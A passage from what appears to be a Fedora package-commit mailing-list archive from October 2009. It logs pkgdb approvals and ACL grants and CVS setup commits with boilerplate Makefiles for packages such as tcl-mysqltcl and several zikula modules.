	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Tue Oct  6 17:32:17 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 17:32:17 +0000 (UTC)
Subject: rpms/oflb-smonohand-fonts/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091006173217.F0BE411C00C1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/oflb-smonohand-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsK17716/rpms/oflb-smonohand-fonts/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module oflb-smonohand-fonts


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: oflb-smonohand-fonts
# $Id: Makefile,v 1.1 2009/10/06 17:32:17 kevin Exp $
NAME := oflb-smonohand-fonts
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Tue Oct  6 17:33:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:33:18 +0000
Subject: [pkgdb] tcl-mysqltcl was added for renep
Message-ID: <20091006173318.954EA10F892@bastion2.fedora.phx.redhat.com>

kevin has added Package tcl-mysqltcl with summary MySQL interface for Tcl
kevin has approved Package tcl-mysqltcl
kevin has added a Fedora devel branch for tcl-mysqltcl with an owner of renep
kevin has approved tcl-mysqltcl in Fedora devel
kevin has approved Package tcl-mysqltcl
kevin has set commit to Approved for 107427 on tcl-mysqltcl (Fedora devel)
kevin has set checkout to Approved for 107427 on tcl-mysqltcl (Fedora devel)
kevin has set build to Approved for 107427 on tcl-mysqltcl (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/tcl-mysqltcl



From pkgdb at fedoraproject.org  Tue Oct  6 17:33:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:33:19 +0000
Subject: [pkgdb] tcl-mysqltcl summary updated by kevin
Message-ID: <20091006173320.0A9D610F89C@bastion2.fedora.phx.redhat.com>

kevin set package tcl-mysqltcl summary to MySQL interface for Tcl

To make changes to this package see:
  /pkgdb/packages/name/tcl-mysqltcl



From pkgdb at fedoraproject.org  Tue Oct  6 17:33:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:33:20 +0000
Subject: [pkgdb] tcl-mysqltcl (Fedora, 11) updated by kevin
Message-ID: <20091006173320.2003410F8A3@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for tcl-mysqltcl
kevin has set commit to Approved for 107427 on tcl-mysqltcl (Fedora 11)
kevin has set checkout to Approved for 107427 on tcl-mysqltcl (Fedora 11)
kevin has set build to Approved for 107427 on tcl-mysqltcl (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/tcl-mysqltcl



From pkgdb at fedoraproject.org  Tue Oct  6 17:33:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:33:20 +0000
Subject: [pkgdb] tcl-mysqltcl (Fedora, 11) updated by kevin
Message-ID: <20091006173320.2C48510F8A9@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for tcl-mysqltcl
kevin has set commit to Approved for 107427 on tcl-mysqltcl (Fedora 12)
kevin has set checkout to Approved for 107427 on tcl-mysqltcl (Fedora 12)
kevin has set build to Approved for 107427 on tcl-mysqltcl (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/tcl-mysqltcl



From kevin at fedoraproject.org  Tue Oct  6 17:33:31 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 17:33:31 +0000 (UTC)
Subject: rpms/tcl-mysqltcl - New directory
Message-ID: <20091006173331.181B711C00C1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/tcl-mysqltcl
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvst18274/rpms/tcl-mysqltcl

Log Message:
Directory /cvs/pkgs/rpms/tcl-mysqltcl added to the repository




From kevin at fedoraproject.org  Tue Oct  6 17:33:31 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 17:33:31 +0000 (UTC)
Subject: rpms/tcl-mysqltcl/devel - New directory
Message-ID: <20091006173331.39BB411C00C1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/tcl-mysqltcl/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvst18274/rpms/tcl-mysqltcl/devel

Log Message:
Directory /cvs/pkgs/rpms/tcl-mysqltcl/devel added to the repository




From kevin at fedoraproject.org  Tue Oct  6 17:33:38 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 17:33:38 +0000 (UTC)
Subject: rpms/tcl-mysqltcl Makefile,NONE,1.1
Message-ID: <20091006173338.8B86211C00C1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/tcl-mysqltcl
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvst18274/rpms/tcl-mysqltcl

Added Files:
	Makefile 
Log Message:
Setup of module tcl-mysqltcl


--- NEW FILE Makefile ---
# Top level Makefile for module tcl-mysqltcl
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Tue Oct  6 17:33:38 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 17:33:38 +0000 (UTC)
Subject: rpms/tcl-mysqltcl/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091006173338.C54EF11C00C1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/tcl-mysqltcl/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvst18274/rpms/tcl-mysqltcl/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module tcl-mysqltcl


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: tcl-mysqltcl
# $Id: Makefile,v 1.1 2009/10/06 17:33:38 kevin Exp $
NAME := tcl-mysqltcl
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Tue Oct  6 17:34:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:34:21 +0000
Subject: [pkgdb] zikula-module-pagemaster was added for mchua
Message-ID: <20091006173421.4D85D10F892@bastion2.fedora.phx.redhat.com>

kevin has added Package zikula-module-pagemaster with summary Creates pages with dynamic content like news, articles, etc
kevin has approved Package zikula-module-pagemaster
kevin has added a Fedora devel branch for zikula-module-pagemaster with an owner of mchua
kevin has approved zikula-module-pagemaster in Fedora devel
kevin has approved Package zikula-module-pagemaster
kevin has set commit to Approved for 107427 on zikula-module-pagemaster (Fedora devel)
kevin has set checkout to Approved for 107427 on zikula-module-pagemaster (Fedora devel)
kevin has set build to Approved for 107427 on zikula-module-pagemaster (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/zikula-module-pagemaster



From pkgdb at fedoraproject.org  Tue Oct  6 17:34:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:34:24 +0000
Subject: [pkgdb] zikula-module-pagemaster summary updated by kevin
Message-ID: <20091006173424.776F910F8A1@bastion2.fedora.phx.redhat.com>

kevin set package zikula-module-pagemaster summary to Creates pages with dynamic content like news, articles, etc

To make changes to this package see:
  /pkgdb/packages/name/zikula-module-pagemaster



From pkgdb at fedoraproject.org  Tue Oct  6 17:34:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:34:24 +0000
Subject: [pkgdb] zikula-module-pagemaster (Fedora EPEL, 5) updated by kevin
Message-ID: <20091006173424.92ADF10F8B1@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on zikula-module-pagemaster (Fedora devel) for toshio
kevin approved watchcommits on zikula-module-pagemaster (Fedora devel) for toshio
kevin approved commit on zikula-module-pagemaster (Fedora devel) for toshio
kevin approved build on zikula-module-pagemaster (Fedora devel) for toshio
kevin approved approveacls on zikula-module-pagemaster (Fedora devel) for toshio
kevin approved watchbugzilla on zikula-module-pagemaster (Fedora devel) for sundaram
kevin approved watchcommits on zikula-module-pagemaster (Fedora devel) for sundaram
kevin approved commit on zikula-module-pagemaster (Fedora devel) for sundaram
kevin approved build on zikula-module-pagemaster (Fedora devel) for sundaram
kevin approved approveacls on zikula-module-pagemaster (Fedora devel) for sundaram

To make changes to this package see:
  /pkgdb/packages/name/zikula-module-pagemaster



From pkgdb at fedoraproject.org  Tue Oct  6 17:34:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:34:24 +0000
Subject: [pkgdb] zikula-module-pagemaster (Fedora EPEL, 5) updated by kevin
Message-ID: <20091006173424.8115410F8AB@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for zikula-module-pagemaster
kevin has set commit to Approved for 107427 on zikula-module-pagemaster (Fedora 11)
kevin has set checkout to Approved for 107427 on zikula-module-pagemaster (Fedora 11)
kevin has set build to Approved for 107427 on zikula-module-pagemaster (Fedora 11)
kevin approved watchbugzilla on zikula-module-pagemaster (Fedora 11) for toshio
kevin approved watchcommits on zikula-module-pagemaster (Fedora 11) for toshio
kevin approved commit on zikula-module-pagemaster (Fedora 11) for toshio
kevin approved build on zikula-module-pagemaster (Fedora 11) for toshio
kevin approved approveacls on zikula-module-pagemaster (Fedora 11) for toshio
kevin approved watchbugzilla on zikula-module-pagemaster (Fedora 11) for sundaram
kevin approved watchcommits on zikula-module-pagemaster (Fedora 11) for sundaram
kevin approved commit on zikula-module-pagemaster (Fedora 11) for sundaram
kevin approved build on zikula-module-pagemaster (Fedora 11) for sundaram
kevin approved approveacls on zikula-module-pagemaster (Fedora 11) for sundaram

To make changes to this package see:
  /pkgdb/packages/name/zikula-module-pagemaster



From pkgdb at fedoraproject.org  Tue Oct  6 17:34:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:34:24 +0000
Subject: [pkgdb] zikula-module-pagemaster (Fedora EPEL, 5) updated by kevin
Message-ID: <20091006173424.9E0A110F8B7@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for zikula-module-pagemaster
kevin has set commit to Approved for 107427 on zikula-module-pagemaster (Fedora 12)
kevin has set checkout to Approved for 107427 on zikula-module-pagemaster (Fedora 12)
kevin has set build to Approved for 107427 on zikula-module-pagemaster (Fedora 12)
kevin approved watchbugzilla on zikula-module-pagemaster (Fedora 12) for toshio
kevin approved watchcommits on zikula-module-pagemaster (Fedora 12) for toshio
kevin approved commit on zikula-module-pagemaster (Fedora 12) for toshio
kevin approved build on zikula-module-pagemaster (Fedora 12) for toshio
kevin approved approveacls on zikula-module-pagemaster (Fedora 12) for toshio
kevin approved watchbugzilla on zikula-module-pagemaster (Fedora 12) for sundaram
kevin approved watchcommits on zikula-module-pagemaster (Fedora 12) for sundaram
kevin approved commit on zikula-module-pagemaster (Fedora 12) for sundaram
kevin approved build on zikula-module-pagemaster (Fedora 12) for sundaram
kevin approved approveacls on zikula-module-pagemaster (Fedora 12) for sundaram

To make changes to this package see:
  /pkgdb/packages/name/zikula-module-pagemaster



From pkgdb at fedoraproject.org  Tue Oct  6 17:34:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:34:24 +0000
Subject: [pkgdb] zikula-module-pagemaster (Fedora EPEL, 5) updated by kevin
Message-ID: <20091006173424.AA95510F8BE@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for zikula-module-pagemaster
kevin has set commit to Approved for 107427 on zikula-module-pagemaster (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on zikula-module-pagemaster (Fedora EPEL 5)
kevin has set build to Approved for 107427 on zikula-module-pagemaster (Fedora EPEL 5)
kevin approved watchbugzilla on zikula-module-pagemaster (Fedora EPEL 5) for toshio
kevin approved watchcommits on zikula-module-pagemaster (Fedora EPEL 5) for toshio
kevin approved commit on zikula-module-pagemaster (Fedora EPEL 5) for toshio
kevin approved build on zikula-module-pagemaster (Fedora EPEL 5) for toshio
kevin approved approveacls on zikula-module-pagemaster (Fedora EPEL 5) for toshio
kevin approved watchbugzilla on zikula-module-pagemaster (Fedora EPEL 5) for sundaram
kevin approved watchcommits on zikula-module-pagemaster (Fedora EPEL 5) for sundaram
kevin approved commit on zikula-module-pagemaster (Fedora EPEL 5) for sundaram
kevin approved build on zikula-module-pagemaster (Fedora EPEL 5) for sundaram
kevin approved approveacls on zikula-module-pagemaster (Fedora EPEL 5) for sundaram

To make changes to this package see:
  /pkgdb/packages/name/zikula-module-pagemaster



From kevin at fedoraproject.org  Tue Oct  6 17:34:31 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 17:34:31 +0000 (UTC)
Subject: rpms/zikula-module-pagemaster - New directory
Message-ID: <20091006173431.1F5BC11C00C1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/zikula-module-pagemaster
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsa18637/rpms/zikula-module-pagemaster

Log Message:
Directory /cvs/pkgs/rpms/zikula-module-pagemaster added to the repository




From kevin at fedoraproject.org  Tue Oct  6 17:34:31 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 17:34:31 +0000 (UTC)
Subject: rpms/zikula-module-pagemaster/devel - New directory
Message-ID: <20091006173431.41A1F11C029A@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/zikula-module-pagemaster/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsa18637/rpms/zikula-module-pagemaster/devel

Log Message:
Directory /cvs/pkgs/rpms/zikula-module-pagemaster/devel added to the repository




From kevin at fedoraproject.org  Tue Oct  6 17:34:38 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 17:34:38 +0000 (UTC)
Subject: rpms/zikula-module-pagemaster Makefile,NONE,1.1
Message-ID: <20091006173438.3150D11C00C1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/zikula-module-pagemaster
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsa18637/rpms/zikula-module-pagemaster

Added Files:
	Makefile 
Log Message:
Setup of module zikula-module-pagemaster


--- NEW FILE Makefile ---
# Top level Makefile for module zikula-module-pagemaster
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Tue Oct  6 17:34:38 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 17:34:38 +0000 (UTC)
Subject: rpms/zikula-module-pagemaster/devel .cvsignore, NONE, 1.1 Makefile, 
	NONE, 1.1 sources, NONE, 1.1
Message-ID: <20091006173438.77A2411C00C1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/zikula-module-pagemaster/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsa18637/rpms/zikula-module-pagemaster/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module zikula-module-pagemaster


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: zikula-module-pagemaster
# $Id: Makefile,v 1.1 2009/10/06 17:34:38 kevin Exp $
NAME := zikula-module-pagemaster
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Tue Oct  6 17:35:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:35:05 +0000
Subject: [pkgdb] zikula-module-filterutil was added for mchua
Message-ID: <20091006173505.6905010F892@bastion2.fedora.phx.redhat.com>

kevin has added Package zikula-module-filterutil with summary pagesetter like filter rules for zikula
kevin has approved Package zikula-module-filterutil
kevin has added a Fedora devel branch for zikula-module-filterutil with an owner of mchua
kevin has approved zikula-module-filterutil in Fedora devel
kevin has approved Package zikula-module-filterutil
kevin has set commit to Approved for 107427 on zikula-module-filterutil (Fedora devel)
kevin has set checkout to Approved for 107427 on zikula-module-filterutil (Fedora devel)
kevin has set build to Approved for 107427 on zikula-module-filterutil (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/zikula-module-filterutil



From pkgdb at fedoraproject.org  Tue Oct  6 17:35:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:35:08 +0000
Subject: [pkgdb] zikula-module-filterutil summary updated by kevin
Message-ID: <20091006173508.5452210F8A2@bastion2.fedora.phx.redhat.com>

kevin set package zikula-module-filterutil summary to pagesetter like filter rules for zikula

To make changes to this package see:
  /pkgdb/packages/name/zikula-module-filterutil



From pkgdb at fedoraproject.org  Tue Oct  6 17:35:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:35:08 +0000
Subject: [pkgdb] zikula-module-filterutil (Fedora EPEL, 5) updated by kevin
Message-ID: <20091006173508.5AF7F10F8AB@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for zikula-module-filterutil
kevin has set commit to Approved for 107427 on zikula-module-filterutil (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on zikula-module-filterutil (Fedora EPEL 5)
kevin has set build to Approved for 107427 on zikula-module-filterutil (Fedora EPEL 5)
kevin approved watchbugzilla on zikula-module-filterutil (Fedora EPEL 5) for toshio
kevin approved watchcommits on zikula-module-filterutil (Fedora EPEL 5) for toshio
kevin approved commit on zikula-module-filterutil (Fedora EPEL 5) for toshio
kevin approved build on zikula-module-filterutil (Fedora EPEL 5) for toshio
kevin approved approveacls on zikula-module-filterutil (Fedora EPEL 5) for toshio
kevin approved watchbugzilla on zikula-module-filterutil (Fedora EPEL 5) for sundaram
kevin approved watchcommits on zikula-module-filterutil (Fedora EPEL 5) for sundaram
kevin approved commit on zikula-module-filterutil (Fedora EPEL 5) for sundaram
kevin approved build on zikula-module-filterutil (Fedora EPEL 5) for sundaram
kevin approved approveacls on zikula-module-filterutil (Fedora EPEL 5) for sundaram

To make changes to this package see:
  /pkgdb/packages/name/zikula-module-filterutil



From pkgdb at fedoraproject.org  Tue Oct  6 17:35:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:35:08 +0000
Subject: [pkgdb] zikula-module-filterutil (Fedora EPEL, 5) updated by kevin
Message-ID: <20091006173508.6E65A10F8B1@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for zikula-module-filterutil
kevin has set commit to Approved for 107427 on zikula-module-filterutil (Fedora 11)
kevin has set checkout to Approved for 107427 on zikula-module-filterutil (Fedora 11)
kevin has set build to Approved for 107427 on zikula-module-filterutil (Fedora 11)
kevin approved watchbugzilla on zikula-module-filterutil (Fedora 11) for toshio
kevin approved watchcommits on zikula-module-filterutil (Fedora 11) for toshio
kevin approved commit on zikula-module-filterutil (Fedora 11) for toshio
kevin approved build on zikula-module-filterutil (Fedora 11) for toshio
kevin approved approveacls on zikula-module-filterutil (Fedora 11) for toshio
kevin approved watchbugzilla on zikula-module-filterutil (Fedora 11) for sundaram
kevin approved watchcommits on zikula-module-filterutil (Fedora 11) for sundaram
kevin approved commit on zikula-module-filterutil (Fedora 11) for sundaram
kevin approved build on zikula-module-filterutil (Fedora 11) for sundaram
kevin approved approveacls on zikula-module-filterutil (Fedora 11) for sundaram

To make changes to this package see:
  /pkgdb/packages/name/zikula-module-filterutil



From pkgdb at fedoraproject.org  Tue Oct  6 17:35:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:35:08 +0000
Subject: [pkgdb] zikula-module-filterutil (Fedora EPEL, 5) updated by kevin
Message-ID: <20091006173508.7D6C010F8B7@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on zikula-module-filterutil (Fedora devel) for toshio
kevin approved watchcommits on zikula-module-filterutil (Fedora devel) for toshio
kevin approved commit on zikula-module-filterutil (Fedora devel) for toshio
kevin approved build on zikula-module-filterutil (Fedora devel) for toshio
kevin approved approveacls on zikula-module-filterutil (Fedora devel) for toshio
kevin approved watchbugzilla on zikula-module-filterutil (Fedora devel) for sundaram
kevin approved watchcommits on zikula-module-filterutil (Fedora devel) for sundaram
kevin approved commit on zikula-module-filterutil (Fedora devel) for sundaram
kevin approved build on zikula-module-filterutil (Fedora devel) for sundaram
kevin approved approveacls on zikula-module-filterutil (Fedora devel) for sundaram

To make changes to this package see:
  /pkgdb/packages/name/zikula-module-filterutil



From pkgdb at fedoraproject.org  Tue Oct  6 17:35:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:35:08 +0000
Subject: [pkgdb] zikula-module-filterutil (Fedora EPEL, 5) updated by kevin
Message-ID: <20091006173508.8EE8810F8BE@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for zikula-module-filterutil
kevin has set commit to Approved for 107427 on zikula-module-filterutil (Fedora 12)
kevin has set checkout to Approved for 107427 on zikula-module-filterutil (Fedora 12)
kevin has set build to Approved for 107427 on zikula-module-filterutil (Fedora 12)
kevin approved watchbugzilla on zikula-module-filterutil (Fedora 12) for toshio
kevin approved watchcommits on zikula-module-filterutil (Fedora 12) for toshio
kevin approved commit on zikula-module-filterutil (Fedora 12) for toshio
kevin approved build on zikula-module-filterutil (Fedora 12) for toshio
kevin approved approveacls on zikula-module-filterutil (Fedora 12) for toshio
kevin approved watchbugzilla on zikula-module-filterutil (Fedora 12) for sundaram
kevin approved watchcommits on zikula-module-filterutil (Fedora 12) for sundaram
kevin approved commit on zikula-module-filterutil (Fedora 12) for sundaram
kevin approved build on zikula-module-filterutil (Fedora 12) for sundaram
kevin approved approveacls on zikula-module-filterutil (Fedora 12) for sundaram

To make changes to this package see:
  /pkgdb/packages/name/zikula-module-filterutil



From kevin at fedoraproject.org  Tue Oct  6 17:35:17 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 17:35:17 +0000 (UTC)
Subject: rpms/zikula-module-filterutil - New directory
Message-ID: <20091006173517.1BFE211C00C1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/zikula-module-filterutil
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsK18977/rpms/zikula-module-filterutil

Log Message:
Directory /cvs/pkgs/rpms/zikula-module-filterutil added to the repository




From kevin at fedoraproject.org  Tue Oct  6 17:35:17 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 17:35:17 +0000 (UTC)
Subject: rpms/zikula-module-filterutil/devel - New directory
Message-ID: <20091006173517.47ACD11C00C1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/zikula-module-filterutil/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsK18977/rpms/zikula-module-filterutil/devel

Log Message:
Directory /cvs/pkgs/rpms/zikula-module-filterutil/devel added to the repository




From kevin at fedoraproject.org  Tue Oct  6 17:35:24 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 17:35:24 +0000 (UTC)
Subject: rpms/zikula-module-filterutil Makefile,NONE,1.1
Message-ID: <20091006173524.88F3611C00C1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/zikula-module-filterutil
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsK18977/rpms/zikula-module-filterutil

Added Files:
	Makefile 
Log Message:
Setup of module zikula-module-filterutil


--- NEW FILE Makefile ---
# Top level Makefile for module zikula-module-filterutil
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Tue Oct  6 17:35:24 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 17:35:24 +0000 (UTC)
Subject: rpms/zikula-module-filterutil/devel .cvsignore, NONE, 1.1 Makefile, 
	NONE, 1.1 sources, NONE, 1.1
Message-ID: <20091006173524.E2B0A11C00C1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/zikula-module-filterutil/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsK18977/rpms/zikula-module-filterutil/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module zikula-module-filterutil


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: zikula-module-filterutil
# $Id: Makefile,v 1.1 2009/10/06 17:35:24 kevin Exp $
NAME := zikula-module-filterutil
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Tue Oct  6 17:37:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:37:23 +0000
Subject: [pkgdb] gdata-sharp was added for salimma
Message-ID: <20091006173723.7F16910F871@bastion2.fedora.phx.redhat.com>

kevin has added Package gdata-sharp with summary .NET library for the Google Data API
kevin has approved Package gdata-sharp
kevin has added a Fedora devel branch for gdata-sharp with an owner of salimma
kevin has approved gdata-sharp in Fedora devel
kevin has approved Package gdata-sharp
kevin has set commit to Approved for 107427 on gdata-sharp (Fedora devel)
kevin has set checkout to Approved for 107427 on gdata-sharp (Fedora devel)
kevin has set build to Approved for 107427 on gdata-sharp (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/gdata-sharp



From pkgdb at fedoraproject.org  Tue Oct  6 17:37:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:37:25 +0000
